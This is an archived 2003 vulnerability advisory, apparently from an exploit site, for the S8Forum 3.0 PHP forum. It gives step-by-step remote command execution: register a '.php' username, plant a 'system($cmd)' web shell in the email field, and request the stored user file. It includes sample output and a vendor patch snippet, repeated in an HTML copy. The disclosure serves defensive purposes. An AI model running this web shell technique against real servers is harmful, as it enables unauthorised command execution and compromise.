exploit the possibilities

s8forum.txt

s8forum.txt
Posted Jan 5, 2003
Authored by Nasser.M.Sh

The S8forum v3.0 allows remote users to execute commands on the webserver. Includes exploit instructions and patch included.

tags | exploit, remote
MD5 | fb79079160eb35543d7b60bb52b21463

s8forum.txt

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--0-1583051551-1041748889=:62186
Content-Type: text/plain; charset=us-ascii


INFORMATIONS :
=============

- Product : S8Forum
- Tested version : 3.0 maybe other versions.
- Website : http://www.kellishaver.com/
Vendor Status: not informed yet !!!
- Problem : A security vulnerability in S8Forum

PROBLEM :
=========

This forum writen by PHP. It doesn't use database, instead that it creates new file with the name of the registered user then save it in (users) directory without extention.

The programm doesn't check user's intries, like user name, email..etc!. This bug able us to run some commands on the server!.

EXPLOIT :
=========

- go to Register

- insert in Username:
any_name.php
NOTE: .php :)

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

or any code :(

- now go to this URL:

http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a

------ out ---

evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002 i686 unknown

------ out ---



SOLUTION :
==========

open register.php

- step1 find this lines:


case 'registration_confirm':
// what to do with the form data

include("settings/header.php");


- The next step add below:


if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email) && $email != "") {
echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email address. Press the back button and correct it.</font></p>";

}
if(strstr($uname, "."))
echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username. Press the back button and correct it.</font></p>";
break;



NOTE :
======
S8Forum author has been notified on Sun 17/11 2002. Another mail was sent on 22/12 2002. No answer so far, no new release, no patch to fix these issues.



PROVIDED BY :
=============
Nasser.M.Sh
nmsh_sa@yahoo.com



---------------------------------
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--0-1583051551-1041748889=:62186
Content-Type: text/html; charset=us-ascii

<P>INFORMATIONS :<BR>=============</P>
<P>- Product : S8Forum<BR>- Tested version : 3.0 maybe other versions.<BR>- Website : <A href="http://www.kellishaver.com/">http://www.kellishaver.com/</A><BR>Vendor Status: not informed yet !!!<BR>- Problem : A security vulnerability in S8Forum</P>
<P>PROBLEM :<BR>=========</P>
<P>This forum writen by PHP. It doesn't use database, instead&nbsp; that it creates new file with the name of the registered user then save it in (users) directory without extention.</P>
<P>The programm doesn't check user's intries, like user name, email..etc!. This bug able us to run some commands on the server!.</P>
<P>EXPLOIT :<BR>=========</P>
<P>- go to Register</P>
<P>- insert in Username:<BR>any_name.php&nbsp;&nbsp; <BR>NOTE: .php :)</P>
<P>- in password : any_pasword.</P>
<P>- in E-Mail:</P>
<P><? system($cmd); ?></P>
<P>or any code :(</P>
<P>- now go to&nbsp; this URL:</P>
<P><A href="http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a">http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a</A></P>
<P>------ out ---</P>
<P>evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002 i686 unknown </P>
<P>------ out ---</P>
<P>&nbsp;</P>
<P>SOLUTION :<BR>==========</P>
<P>open register.php</P>
<P>- step1 find this lines:</P>
<P><BR>case 'registration_confirm':<BR>// what to do with the form data </P>
<P>include("settings/header.php");</P>
<P><BR>- The next step add below:</P>
<P><BR>&nbsp;if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$",&nbsp; $email) &&&nbsp; $email&nbsp; !=&nbsp; "") { <BR>echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email address. Press the back button and correct it.</font></p>";&nbsp;&nbsp;<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; }<BR>if(strstr($uname, "."))<BR>echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username. Press the back button and correct it.</font></p>";<BR>&nbsp;break;</P>
<P>&nbsp;</P>
<P>NOTE :<BR>======<BR>S8Forum author has been notified on Sun 17/11 2002. Another mail was sent on 22/12 2002. No answer so far, no new release, no patch to fix these issues.</P>
<P>&nbsp;</P>
<P>PROVIDED BY :<BR>=============<BR>Nasser.M.Sh<BR><A href="mailto:nmsh_sa@yahoo.com">nmsh_sa@yahoo.com</A></P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-1583051551-1041748889=:62186--
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